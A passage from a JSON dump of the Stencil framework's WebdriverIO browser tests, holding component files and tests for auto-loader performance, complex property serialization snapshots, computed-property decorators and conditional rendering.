async () =>\n        browser.execute(() => {\n          const el = document.querySelector('auto-loader-dynamic');\n          return el?.classList.contains('hydrated') || el?.shadowRoot?.querySelector('.dynamic-loaded') !== null;\n        }),\n      { timeout: 5000 },\n    );\n\n    const endTime = await browser.execute(() => performance.now());\n    metrics.dynamicLoad = endTime - startTime;\n\n    console.log(`[PERF] Dynamic component load: ${metrics.dynamicLoad.toFixed(2)}ms`);\n  });\n\n  it('should log performance summary', async () => {\n    console.log(`\\n========== DIST LAZY-LOADER PERFORMANCE ==========`);\n    console.log(`Loader init:          ${metrics.loaderImport?.toFixed(2) || 'N/A'}ms`);\n    console.log(`Time to definition:   ${metrics.timeToDefinition?.toFixed(2) || 'N/A'}ms`);\n    console.log(`Time to render:       ${metrics.timeToRender?.toFixed(2) || 'N/A'}ms`);\n    console.log(`Dynamic component:    ${metrics.dynamicLoad?.toFixed(2) || 'N/A'}ms`);\n    console.log(`===================================================\\n`);\n  });\n});\n"
  },
  {
    "path": "test/wdio/auto-loader/perf.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { browser } from '@wdio/globals';\n\n/**\n * Performance test for auto-loader approach.\n *\n * Measures:\n * 1. Time to first component definition\n * 2. Time to first render (hydrated)\n * 3. Time for dynamically added component\n *\n * Run separately from dist comparison - results logged to console.\n */\ndescribe('auto-loader performance', () => {\n  const metrics: Record<string, number> = {};\n\n  it('should measure loader initialization', async () => {\n    const initTime = await browser.execute(() => {\n      const start = performance.now();\n      return start;\n    });\n\n    // Import the loader\n    await import('../test-components-autoloader/loader.js');\n\n    const afterImport = await browser.execute(() => performance.now());\n    metrics.loaderImport = afterImport - initTime;\n\n    console.log(`\\n[PERF] Loader import time: ${metrics.loaderImport.toFixed(2)}ms`);\n  });\n\n  it('should measure initial component render', async () => {\n    const startTime = await browser.execute(() => performance.now());\n\n    render({\n      components: [],\n      template: () => (\n        <Fragment>\n          <auto-loader-root></auto-loader-root>\n        </Fragment>\n      ),\n    });\n\n    // Wait for component to be defined\n    await browser.waitUntil(async () => browser.execute(() => customElements.get('auto-loader-root') !== undefined), {\n      timeout: 5000,\n    });\n\n    const definedTime = await browser.execute(() => performance.now());\n    metrics.timeToDefinition = definedTime - startTime;\n\n    // Wait for render complete\n    await browser.waitUntil(\n      async () =>\n        browser.execute(() => {\n          const el = document.querySelector('auto-loader-root');\n          return el?.shadowRoot?.querySelector('.root-loaded') !== null;\n        }),\n      { timeout: 5000 },\n    );\n\n    const renderTime = await browser.execute(() => performance.now());\n    metrics.timeToRender = renderTime - startTime;\n\n    console.log(`[PERF] Time to definition: ${metrics.timeToDefinition.toFixed(2)}ms`);\n    console.log(`[PERF] Time to render: ${metrics.timeToRender.toFixed(2)}ms`);\n  });\n\n  it('should measure dynamic component load', async () => {\n    const startTime = await browser.execute(() => {\n      const start = performance.now();\n      const dynamic = document.createElement('auto-loader-dynamic');\n      document.body.appendChild(dynamic);\n      return start;\n    });\n\n    // Wait for dynamic component to render\n    await browser.waitUntil(\n      async () =>\n        browser.execute(() => {\n          const el = document.querySelector('auto-loader-dynamic');\n          return el?.shadowRoot?.querySelector('.dynamic-loaded') !== null;\n        }),\n      { timeout: 5000 },\n    );\n\n    const endTime = await browser.execute(() => performance.now());\n    metrics.dynamicLoad = endTime - startTime;\n\n    console.log(`[PERF] Dynamic component load: ${metrics.dynamicLoad.toFixed(2)}ms`);\n  });\n\n  it('should log performance summary', async () => {\n    console.log(`\\n========== AUTO-LOADER PERFORMANCE ==========`);\n    console.log(`Loader import:        ${metrics.loaderImport?.toFixed(2) || 'N/A'}ms`);\n    console.log(`Time to definition:   ${metrics.timeToDefinition?.toFixed(2) || 'N/A'}ms`);\n    console.log(`Time to render:       ${metrics.timeToRender?.toFixed(2) || 'N/A'}ms`);\n    console.log(`Dynamic component:    ${metrics.dynamicLoad?.toFixed(2) || 'N/A'}ms`);\n    console.log(`==============================================\\n`);\n  });\n});\n"
  },
  {
    "path": "test/wdio/auto-loader.stencil.config.ts",
    "content": "import type { Config } from '../../internal/index.js';\n\nexport const config: Config = {\n  namespace: 'TestAutoLoader',\n  tsconfig: 'tsconfig-auto-loader.json',\n  srcDir: 'auto-loader',\n  outputTargets: [\n    // Auto-loader output (mutation observer based lazy loading)\n    {\n      type: 'dist-custom-elements',\n      dir: 'test-components-autoloader',\n      customElementsExportBehavior: 'single-export-module',\n      autoLoader: true,\n      externalRuntime: false,\n    },\n    // Dist output for performance comparison (traditional lazy loading)\n    {\n      type: 'dist',\n      dir: 'dist-autoloader-comparison',\n    },\n  ],\n  buildDist: true,\n};\n"
  },
  {
    "path": "test/wdio/build-data/build-data.tsx",
    "content": "import { Build, Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'build-data',\n})\nexport class BuildData {\n  render() {\n    return (\n      <Host>\n        <p class=\"is-dev\">isDev: {`${Build.isDev}`}</p>\n        <p class=\"is-browser\">isBrowser: {`${Build.isBrowser}`}</p>\n        <p class=\"is-testing\">isTesting: {`${Build.isTesting}`}</p>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/build-data/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('build-data', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <build-data></build-data>,\n    });\n  });\n\n  it('should have proper values', async () => {\n    await expect($('.is-dev')).toHaveText('isDev: false');\n    await expect($('.is-browser')).toHaveText('isBrowser: true');\n    await expect($('.is-testing')).toHaveText('isTesting: false');\n  });\n});\n"
  },
  {
    "path": "test/wdio/child-load-failure/cmp-child-fail.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-child-fail',\n})\nexport class CmpChildFail {\n  render() {\n    throw new Error('Child component intentionally failed to load');\n  }\n}\n"
  },
  {
    "path": "test/wdio/child-load-failure/cmp-parent.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-parent',\n})\nexport class CmpParent {\n  render() {\n    return (\n      <div>\n        <div class=\"parent-content\">Parent Loaded</div>\n        <cmp-child-fail></cmp-child-fail>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/child-load-failure/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser, expect } from '@wdio/globals';\n\ndescribe('child-load-failure', () => {\n  let originalConsoleError: typeof console.error;\n\n  beforeEach(() => {\n    originalConsoleError = console.error;\n    // Suppress console.error for expected child component failures\n    // so wdio doesn't treat them as test errors\n    console.error = () => {};\n    render({\n      components: [],\n      template: () => <div class=\"root\"></div>,\n    });\n  });\n\n  afterEach(() => {\n    console.error = originalConsoleError;\n  });\n\n  it('parent hydrates even when child fails to load', async () => {\n    await $('.root');\n    document.querySelector('.root')!.innerHTML = `<cmp-parent></cmp-parent>`;\n\n    const parent = await $('cmp-parent');\n    await parent.waitForExist();\n\n    // Wait for parent to hydrate (has hydrated class)\n    await browser.waitUntil(\n      async () => {\n        const classes = await parent.getAttribute('class');\n        return classes?.includes('hydrated');\n      },\n      { timeout: 5000, timeoutMsg: 'Parent did not hydrate within timeout' },\n    );\n\n    // Parent content should be visible\n    const parentContent = await $('.parent-content');\n    await expect(parentContent).toHaveText('Parent Loaded');\n  });\n});\n"
  },
  {
    "path": "test/wdio/clone-node/cmp-root.tsx",
    "content": "import { Component, Element, h } from '@stencil/core';\n\n@Component({\n  tag: 'clone-node-root',\n})\nexport class CloneNodeRoot {\n  @Element() el!: HTMLElement;\n\n  cloneSlides() {\n    this.el.querySelectorAll('clone-node-slide').forEach((slide) => {\n      const clonedSlide = slide.cloneNode(true) as HTMLElement;\n      this.el.appendChild(clonedSlide);\n    });\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={this.cloneSlides.bind(this)}>Clone Slides</button>\n        <clone-node-slide>\n          <clone-node-text></clone-node-text>\n        </clone-node-slide>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/clone-node/cmp-slide.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'clone-node-slide',\n})\nexport class CloneNodeSlide {\n  render() {\n    return (\n      <Host>\n        <p class=\"slide-content\">Slide Content</p>\n        <slot></slot>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/clone-node/cmp-text.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'clone-node-text',\n})\nexport class CloneNodeText {\n  render() {\n    return (\n      <Host>\n        <p class=\"text-content\">Clone Node Text</p>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/clone-node/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, $$, browser, expect } from '@wdio/globals';\n\ndescribe('clone-node', () => {\n  before(async () => {\n    render({\n      components: [],\n      template: () => <clone-node-root></clone-node-root>,\n    });\n  });\n\n  it('should not duplicate nested component content when cloning', async () => {\n    await $('clone-node-root.hydrated').waitForExist();\n\n    // Initially should have 1 slide with 1 text component containing 1 paragraph\n    const initialTextElements = await $$('.text-content');\n    expect(initialTextElements).toHaveLength(1);\n\n    const initialSlideElements = await $$('.slide-content');\n    expect(initialSlideElements).toHaveLength(1);\n\n    // Click the button to clone the slide\n    const button = await $('button');\n    await button.click();\n\n    // Wait for the clone to be added\n    await browser.pause(100);\n\n    // After cloning, should have 2 slides with 2 text components\n    // Each text component should have exactly 1 paragraph (not duplicated)\n    const clonedTextElements = await $$('.text-content');\n    expect(clonedTextElements).toHaveLength(2);\n\n    const clonedSlideElements = await $$('.slide-content');\n    expect(clonedSlideElements).toHaveLength(2);\n\n    // Verify each text element has the correct content\n    for (const textEl of clonedTextElements) {\n      await expect(textEl).toHaveText('Clone Node Text');\n    }\n\n    for (const slideEl of clonedSlideElements) {\n      await expect(slideEl).toHaveText('Slide Content');\n    }\n  });\n});\n"
  },
  {
    "path": "test/wdio/complex-properties/__snapshots__/cmp.test.tsx.snap",
    "content": "// Snapshot v1\n\nexports[`complex-properties > should render complex properties 1`] = `\n\"<complex-properties baz=\"serialized:eyJ0eXBlIjoibWFwIiwidmFsdWUiOltbeyJ0eXBlIjoic3RyaW5nIiwidmFsdWUiOiJmb28ifSx7InR5cGUiOiJvYmplY3QiLCJ2YWx1ZSI6W1sicXV4Iix7InR5cGUiOiJzeW1ib2wiLCJ2YWx1ZSI6InF1dXgifV1dfV1dfQ==\" class=\"hydrated sc-complex-properties-h\" corge=\"serialized:eyJ0eXBlIjoic2V0IiwidmFsdWUiOlt7InR5cGUiOiJvYmplY3QiLCJ2YWx1ZSI6W1siZm9vIix7InR5cGUiOiJvYmplY3QiLCJ2YWx1ZSI6W1siYmFyIix7InR5cGUiOiJzdHJpbmciLCJ2YWx1ZSI6ImZvbyJ9XV19XV19XX0=\" foo=\"serialized:eyJ0eXBlIjoib2JqZWN0IiwidmFsdWUiOltbImJhciIseyJ0eXBlIjoibnVtYmVyIiwidmFsdWUiOjEyM31dLFsibG9vIix7InR5cGUiOiJhcnJheSIsInZhbHVlIjpbeyJ0eXBlIjoibnVtYmVyIiwidmFsdWUiOjF9LHsidHlwZSI6Im51bWJlciIsInZhbHVlIjoyfSx7InR5cGUiOiJudW1iZXIiLCJ2YWx1ZSI6M31dfV0sWyJxdXgiLHsidHlwZSI6Im9iamVjdCIsInZhbHVlIjpbWyJxdXV4Iix7InR5cGUiOiJzeW1ib2wiLCJ2YWx1ZSI6InF1dXgifV1dfV1dfQ==\" grault=\"serialized:eyJ0eXBlIjoibnVtYmVyIiwidmFsdWUiOiJJbmZpbml0eSJ9\" kids-names=\"serialized:eyJ0eXBlIjoiYXJyYXkiLCJ2YWx1ZSI6W3sidHlwZSI6InN0cmluZyIsInZhbHVlIjoiSm9obiJ9LHsidHlwZSI6InN0cmluZyIsInZhbHVlIjoiSmFuZSJ9LHsidHlwZSI6InN0cmluZyIsInZhbHVlIjoiSmltIn1dfQ==\" quux=\"serialized:eyJ0eXBlIjoic2V0IiwidmFsdWUiOlt7InR5cGUiOiJzdHJpbmciLCJ2YWx1ZSI6ImZvbyJ9XX0=\" s-id=\"1\" waldo=\"serialized:eyJ0eXBlIjoibnVsbCJ9\">\n  <template shadowrootmode=\"open\">\n    <ul c-id=\"1.0.0.0\" class=\"sc-complex-properties\">\n      <li c-id=\"1.1.1.0\" class=\"sc-complex-properties\">\n        <!--t.1.2.2.0-->\n        this.foo.bar: 123\n      </li>\n      <li c-id=\"1.3.1.1\" class=\"sc-complex-properties\">\n        <!--t.1.4.2.0-->\n        this.foo.loo: 1, 2, 3\n      </li>\n      <li c-id=\"1.5.1.2\" class=\"sc-complex-properties\">\n        <!--t.1.6.2.0-->\n        this.foo.qux: symbol\n      </li>\n      <li c-id=\"1.7.1.3\" class=\"sc-complex-properties\">\n        <!--t.1.8.2.0-->\n        this.baz.get('foo'): symbol\n      </li>\n      <li c-id=\"1.9.1.4\" class=\"sc-complex-properties\">\n        <!--t.1.10.2.0-->\n        this.quux.has('foo'): true\n      </li>\n      <li c-id=\"1.11.1.5\" class=\"sc-complex-properties\">\n        <!--t.1.12.2.0-->\n        this.grault: true\n      </li>\n      <li c-id=\"1.13.1.6\" class=\"sc-complex-properties\">\n        <!--t.1.14.2.0-->\n        this.waldo: true\n      </li>\n      <li c-id=\"1.15.1.7\" class=\"sc-complex-properties\">\n        <!--t.1.16.2.0-->\n        this.kidsNames: John, Jane, Jim\n      </li>\n    </ul>\n  </template>\n  <!--r.1-->\n</complex-properties>\"\n`;\n"
  },
  {
    "path": "test/wdio/complex-properties/cmp.test.tsx",
    "content": "/// <reference types=\"../dist/components.d.ts\" />\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\nimport { renderToString, serializeProperty } from '../hydrate/index.mjs';\n\nconst template = `<complex-properties\n  foo=${serializeProperty({ bar: 123, loo: [1, 2, 3], qux: { quux: Symbol('quux') } })}\n  baz=${serializeProperty(new Map([['foo', { qux: Symbol('quux') }]]))}\n  quux=${serializeProperty(new Set(['foo']))}\n  corge=${serializeProperty(new Set([{ foo: { bar: 'foo' } }]))}\n  grault=${serializeProperty(Infinity)}\n  waldo=${serializeProperty(null)}\n  kids-names=${serializeProperty(['John', 'Jane', 'Jim'])}\n/>`;\n\ndescribe('complex-properties', () => {\n  it('should render complex properties', async () => {\n    const { html } = await renderToString(template, {\n      prettyHtml: true,\n      fullDocument: false,\n    });\n    expect(html).toMatchSnapshot();\n  });\n\n  it('can render component and update properties', async () => {\n    const { html } = await renderToString(template, {\n      fullDocument: false,\n    });\n\n    render({ html, components: [] });\n    await expect($('complex-properties')).toHaveText(\n      [\n        `this.foo.bar: 123`,\n        `this.foo.loo: 1, 2, 3`,\n        `this.foo.qux: symbol`,\n        `this.baz.get('foo'): symbol`,\n        `this.quux.has('foo'): true`,\n        `this.grault: true`,\n        `this.waldo: true`,\n        `this.kidsNames: John, Jane, Jim`,\n      ].join('\\n'),\n    );\n  });\n\n  it('can change a complex property and see it updated correctly', async () => {\n    const elm = document.querySelector('complex-properties') as HTMLComplexPropertiesElement;\n    elm.foo = { bar: '456', loo: [4, 5, 6], qux: { quux: Symbol('new quux') } };\n    elm.kidsNames.push('Jill');\n    await expect(elm).toHaveText(\n      [\n        `this.foo.bar: 456`,\n        `this.foo.loo: 4, 5, 6`,\n        `this.foo.qux: symbol`,\n        `this.baz.get('foo'): symbol`,\n        `this.quux.has('foo'): true`,\n        `this.grault: true`,\n        `this.waldo: true`,\n        `this.kidsNames: John, Jane, Jim, Jill`,\n      ].join('\\n'),\n    );\n  });\n});\n"
  },
  {
    "path": "test/wdio/complex-properties/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'complex-properties',\n  shadow: true,\n})\nexport class ComplexProperties {\n  /**\n   * basic object\n   */\n  @Prop() foo: { bar: string; loo: number[]; qux: { quux: symbol } };\n\n  /**\n   * map objects\n   */\n  @Prop() baz: Map<string, { qux: symbol }>;\n\n  /**\n   * set objects\n   */\n  @Prop() quux: Set<string>;\n\n  /**\n   * infinity\n   */\n  @Prop() grault: typeof Infinity;\n\n  /**\n   * null\n   */\n  @Prop() waldo: null;\n\n  /**\n   * basic array\n   */\n  @Prop() kidsNames: any;\n\n  render() {\n    return (\n      <ul>\n        <li>\n          {`this.foo.bar`}: {this.foo.bar}\n        </li>\n        <li>\n          {`this.foo.loo`}: {this.foo.loo.join(', ')}\n        </li>\n        <li>\n          {`this.foo.qux`}: {typeof this.foo.qux.quux}\n        </li>\n        <li>\n          {`this.baz.get('foo')`}: {typeof this.baz.get('foo')?.qux}\n        </li>\n        <li>\n          {`this.quux.has('foo')`}: {this.quux.has('foo') ? 'true' : 'false'}\n        </li>\n        <li>\n          {`this.grault`}: {this.grault === Infinity ? 'true' : 'false'}\n        </li>\n        <li>\n          {`this.waldo`}: {this.waldo === null ? 'true' : 'false'}\n        </li>\n        <li>\n          {`this.kidsNames`}: {this.kidsNames?.join(', ')}\n        </li>\n      </ul>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/computed-properties-prop-decorator/cmp-reflect.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\nenum Foo {\n  // names are explicitly different to ensure we aren't\n  // just resolving the declaration name.\n  BAR = 'first',\n  BAZ = 'middle',\n}\n\nconst MyProp = 'last';\n\n@Component({\n  tag: 'computed-properties-prop-decorator-reflect',\n})\nexport class ComputedPropertiesPropDecoratorReflect {\n  @Prop({\n    reflect: true,\n    attribute: 'first-name',\n  })\n  [Foo.BAR] = 'no';\n\n  @Prop() [Foo.BAZ]: string = '';\n\n  @Prop({\n    reflect: true,\n    attribute: 'last-name',\n  })\n  [MyProp] = 'content';\n\n  getText() {\n    return (this.first || '') + (this.middle ? ` ${this.middle}` : '') + (this.last ? ` ${this.last}` : '');\n  }\n\n  render() {\n    return <div>{this.getText()}</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/computed-properties-prop-decorator/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('computed-properties-prop-decorator', () => {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <computed-properties-prop-decorator></computed-properties-prop-decorator>\n          <computed-properties-prop-decorator-reflect></computed-properties-prop-decorator-reflect>\n          <button type=\"button\">Change prop values</button>\n        </>\n      ),\n    });\n\n    document.querySelector('button')?.addEventListener('click', () => {\n      const cmp = document.querySelector('computed-properties-prop-decorator');\n      cmp?.setAttribute('first', 'These');\n      cmp?.setAttribute('middle', 'are');\n      cmp?.setAttribute('last', 'my props');\n    });\n  });\n\n  it('correctly sets computed property `@Prop()`s and triggers re-renders', async () => {\n    await expect($('computed-properties-prop-decorator').$('div')).toHaveText('no content');\n\n    const button = $('button');\n    await button.click();\n\n    await expect($('computed-properties-prop-decorator').$('div')).toHaveText('These are my props');\n  });\n\n  it('has the default value reflected to the correct attribute on the host', async () => {\n    const el = $('computed-properties-prop-decorator-reflect');\n\n    await expect(el).toHaveAttribute('first-name', 'no');\n    await expect(el).toHaveAttribute('last-name', 'content');\n  });\n});\n"
  },
  {
    "path": "test/wdio/computed-properties-prop-decorator/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\nenum Foo {\n  // names are explicitly different to ensure we aren't\n  // just resolving the declaration name.\n  BAR = 'first',\n  BAZ = 'middle',\n}\n\nconst MyProp = 'last';\n\n@Component({\n  tag: 'computed-properties-prop-decorator',\n})\nexport class ComputedPropertiesPropDecorator {\n  @Prop() [Foo.BAR] = 'no';\n\n  @Prop() [Foo.BAZ]: string = '';\n\n  @Prop() [MyProp] = 'content';\n\n  getText() {\n    return (this.first || '') + (this.middle ? ` ${this.middle}` : '') + (this.last ? ` ${this.last}` : '');\n  }\n\n  render() {\n    return <div>{this.getText()}</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/computed-properties-state-decorator/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('computed-properties-state-decorator', () => {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <computed-properties-state-decorator></computed-properties-state-decorator>\n          <button type=\"button\">Change state values</button>\n        </>\n      ),\n    });\n    document.querySelector('button').addEventListener('click', () => {\n      const cmp = document.querySelector('computed-properties-state-decorator');\n      cmp.changeStates();\n    });\n  });\n\n  it('correctly sets computed property `@State()`s and triggers re-renders', async () => {\n    const el = $('computed-properties-state-decorator').$('div');\n    await expect(el).toHaveText(['Has rendered: false', 'Mode: default'].join('\\n'));\n\n    const button = document.querySelector('button');\n    expect(button).toBeDefined();\n\n    await $(button).click();\n\n    await expect(el).toHaveText(['Has rendered: true', 'Mode: super'].join('\\n'));\n  });\n});\n"
  },
  {
    "path": "test/wdio/computed-properties-state-decorator/cmp.tsx",
    "content": "import { Component, h, Method, State } from '@stencil/core';\n\nenum Foo {\n  // names are explicitly different to ensure we aren't\n  // just resolving the declaration name.\n  BAR = 'rendered',\n}\n\nconst MyProp = 'mode';\n\n@Component({\n  tag: 'computed-properties-state-decorator',\n})\nexport class ComputedPropertiesStateDecorator {\n  @State() [Foo.BAR] = false;\n\n  @State() [MyProp] = 'default';\n\n  @Method()\n  async changeStates() {\n    this.rendered = true;\n    this.mode = 'super';\n  }\n\n  render() {\n    return (\n      <div>\n        <p>Has rendered: {this.rendered.toString()}</p>\n        <p>Mode: {this.mode}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/computed-properties-watch-decorator/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('computed-properties-watch-decorator', () => {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <computed-properties-watch-decorator></computed-properties-watch-decorator>\n          <button type=\"button\">Trigger watch callbacks</button>\n        </>\n      ),\n    });\n    document.querySelector('button').addEventListener('click', () => {\n      const cmp = document.querySelector('computed-properties-watch-decorator');\n      cmp.setAttribute('first', 'Bob');\n      cmp.setAttribute('last', 'Builder');\n    });\n  });\n\n  it('triggers the watch callback when the associated prop changes', async () => {\n    const firstNameCalledWithImmediate = {\n      newVal: 'no',\n      attrName: 'first',\n    };\n    const lastNameCalledWithImmediate = {\n      newVal: 'content',\n      attrName: 'last',\n    };\n\n    const el = $('computed-properties-watch-decorator').$('div');\n    await expect(el).toHaveText(\n      [\n        'First name called with: not yet',\n        'Last name called with: not yet',\n        `First name called with immediate: ${JSON.stringify(firstNameCalledWithImmediate)}`,\n        `Last name called with immediate: ${JSON.stringify(lastNameCalledWithImmediate)}`,\n      ].join('\\n'),\n    );\n\n    const button = document.querySelector('button');\n    expect(button).toBeDefined();\n\n    await $(button).click();\n\n    const firstNameCalledWith = {\n      newVal: 'Bob',\n      oldVal: 'no',\n      attrName: 'first',\n    };\n    const lastNameCalledWith = {\n      newVal: 'Builder',\n      oldVal: 'content',\n      attrName: 'last',\n    };\n    await expect(el).toHaveText(\n      [\n        `First name called with: ${JSON.stringify(firstNameCalledWith)}`,\n        `Last name called with: ${JSON.stringify(lastNameCalledWith)}`,\n        `First name called with immediate: ${JSON.stringify(firstNameCalledWith)}`,\n        `Last name called with immediate: ${JSON.stringify(lastNameCalledWith)}`,\n      ].join('\\n'),\n    );\n  });\n});\n"
  },
  {
    "path": "test/wdio/computed-properties-watch-decorator/cmp.tsx",
    "content": "import { Component, h, Prop, Watch } from '@stencil/core';\n\nenum Foo {\n  // names are explicitly different to ensure we aren't\n  // just resolving the declaration name.\n  BAR = 'first',\n}\n\nconst MyProp = 'last';\n\n@Component({\n  tag: 'computed-properties-watch-decorator',\n})\nexport class ComputedPropertiesWatchDecorator {\n  @Prop() [Foo.BAR] = 'no';\n\n  @Prop() [MyProp] = 'content';\n\n  firstNameCalledWith: any;\n  lastNameCalledWith: any;\n  firstNameCalledWithImmediate: any;\n  lastNameCalledWithImmediate: any;\n\n  @Watch(Foo.BAR)\n  onFirstNameChange(newVal: string, oldVal: string, attrName: string) {\n    this.firstNameCalledWith = {\n      newVal,\n      oldVal,\n      attrName,\n    };\n  }\n\n  @Watch(MyProp)\n  onLastNameChange(newVal: string, oldVal: string, attrName: string) {\n    this.lastNameCalledWith = {\n      newVal,\n      oldVal,\n      attrName,\n    };\n  }\n\n  @Watch(Foo.BAR, { immediate: true })\n  onFirstNameChangeImmediate(newVal: string, oldVal: string, attrName: string) {\n    this.firstNameCalledWithImmediate = {\n      newVal,\n      oldVal,\n      attrName,\n    };\n  }\n\n  @Watch(MyProp, { immediate: true })\n  onLastNameChangeImmediate(newVal: string, oldVal: string, attrName: string) {\n    this.lastNameCalledWithImmediate = {\n      newVal,\n      oldVal,\n      attrName,\n    };\n  }\n\n  render() {\n    return (\n      <div>\n        <p>First name called with: {this.firstNameCalledWith ? JSON.stringify(this.firstNameCalledWith) : 'not yet'}</p>\n        <p>Last name called with: {this.lastNameCalledWith ? JSON.stringify(this.lastNameCalledWith) : 'not yet'}</p>\n        <p>\n          First name called with immediate:{' '}\n          {this.firstNameCalledWithImmediate ? JSON.stringify(this.firstNameCalledWithImmediate) : 'not yet'}\n        </p>\n        <p>\n          Last name called with immediate:{' '}\n          {this.lastNameCalledWithImmediate ? JSON.stringify(this.lastNameCalledWithImmediate) : 'not yet'}\n        </p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/conditional-basic/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('conditional-basic', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <conditional-basic></conditional-basic>,\n    });\n  });\n\n  it('contains a button as a child', async () => {\n    await expect($('button')).toBeExisting();\n  });\n\n  it('button click rerenders', async () => {\n    const button = $('button');\n    const results = $('div.results');\n\n    await expect(results).toHaveText('');\n    await button.click();\n    await expect(results).toHaveText('Content');\n  });\n});\n"
  },
  {
    "path": "test/wdio/conditional-basic/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'conditional-basic',\n})\nexport class ConditionalBasic {\n  @State() showContent = false;\n\n  testClick() {\n    this.showContent = !this.showContent;\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={this.testClick.bind(this)} class=\"test\">\n          Test\n        </button>\n        <div class=\"results\">{this.showContent ? 'Content' : ''}</div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/conditional-rerender/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'conditional-rerender-root',\n})\nexport class ConditionalRerenderRoot {\n  @State() showContent = false;\n  @State() showFooter = false;\n\n  componentDidLoad() {\n    this.showFooter = true;\n    setTimeout(() => (this.showContent = true), 20);\n  }\n\n  render() {\n    return (\n      <conditional-rerender>\n        <header>Header</header>\n        {this.showContent ? <section>Content</section> : null}\n        {this.showFooter ? <footer>Footer</footer> : null}\n      </conditional-rerender>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/conditional-rerender/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\nconst css = `main {\n  background: rgb(0, 0, 0);\n  padding: 30px;\n}\nheader {\n  background: rgb(230, 230, 230);\n  padding: 30px;\n}\nsection {\n  background: rgb(160, 160, 160);\n  padding: 30px;\n}\nfooter {\n  background: rgb(100, 100, 100);\n  padding: 30px;\n}\nnav {\n  background: rgb(50, 50, 50);\n  padding: 30px;\n}`;\n\ndescribe('conditional-rerender', () => {\n  beforeEach(() => {\n    render({\n      template: () => (\n        <>\n          <style>{css}</style>\n          <conditional-rerender-root></conditional-rerender-root>\n        </>\n      ),\n    });\n  });\n\n  it('contains a button as a child', async () => {\n    await expect($('main')).toHaveText('Header\\nContent\\nFooter\\nNav');\n  });\n});\n"
  },
  {
    "path": "test/wdio/conditional-rerender/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'conditional-rerender',\n})\nexport class ConditionalRerender {\n  render() {\n    return (\n      <main>\n        <slot />\n        <nav>Nav</nav>\n      </main>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/cross-document-constructed-styles/cmp.test.tsx",
    "content": "import { h, render } from '@stencil/core';\nimport { $, browser, expect } from '@wdio/globals';\n\ndescribe('cross-document-style', () => {\n  before(async () => {\n    const iframe = document.createElement('iframe');\n    document.body.appendChild(iframe);\n    render(<cross-document-style></cross-document-style>, iframe.contentDocument.body);\n  });\n\n  it('should render in across frames', async () => {\n    await browser.switchFrame($('iframe'));\n    await expect($('cross-document-style')).toHaveStyle({ color: 'rgb(255,0,0)' });\n  });\n});\n"
  },
  {
    "path": "test/wdio/cross-document-constructed-styles/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cross-document-style',\n  styles: `\n    :host {\n      color: rgb(255, 0, 0);\n    }\n  `,\n  shadow: true,\n})\nexport class CrossDocumentStyleTestCmp {\n  render() {\n    return (\n      <section>\n        <div>I am rendered in red!</div>\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/css-variables/cmp-no-encapsulation.css",
